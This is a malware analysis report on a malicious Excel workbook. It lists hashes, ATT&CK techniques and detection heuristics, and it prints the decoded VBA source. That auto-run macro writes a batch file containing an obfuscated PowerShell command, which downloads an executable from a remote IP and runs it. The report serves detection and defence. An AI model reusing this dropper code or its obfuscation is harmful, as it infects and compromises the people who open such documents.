Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 db2ca6e6cdcf5c5e…

MALICIOUS

Office (OOXML)

11.5 KB Created: 2021-04-13 13:37:17 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-23
MD5: bdb8299de87c6f03ae059069d7e48b76 SHA-1: 3fd2962122f44307ae16ac1bada52323b727fb7a SHA-256: db2ca6e6cdcf5c5e5697d8c8d8026bfcf13b013c793acd79f31f1f4ad750bf4c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open VBA macro is designed to execute automatically when the Excel file is opened. It constructs a batch file named 'god.bat' in the public documents directory. This batch file then writes a command to download and execute a second-stage payload (RFQ_5550_17833_072304IMG.exe) from the IP address 13.235.24.39, saving it as 'couldless.exe' and subsequently executing it. This indicates a downloader or droppper functionality.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1340 bytes
SHA-256: f75618dd77e6d3da6cea4b596488430a464cd6b6a083b736ea1fb2f810531877
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
myselfleast = "pow^ers"
prettystandard = "he^ll"
Set tellmachine = GetObject("new:0D43FE01-F093-11CF-8940-00A0C905422" & CInt(7.6))
wordchoice = "C:\Users\Public\Documents\god.bat"
Set tellmachine2 = tellmachine.CreateTextFile(wordchoice)
tellmachine2.WriteLine myselfleast & prettystandard & " -w hi sl^eep -Se 31;St^a^rt-BitsTr^ans^fer -Source htt`p://13.235.24.39/J5/M/RFQ_5550_17833_072304IMG.e`xe -Dest C:\Users\Public\Documents\couldless.e`xe;C:\Users\Public\Documents\couldless.e`xe"
tellmachine2.Close
GetObject("new:13709620-C279-11CE-A49E-44455354000" & CInt(0.3)).Open (wordchoice)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub newsuse()
'
' newsuse Macro
' 1Y9EPHD78LD1
'
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 11264 bytes
SHA-256: 7e18b869846f9c48ccb629c75b99c12cb1f404c2589096cb471e94c0a3cdd29c

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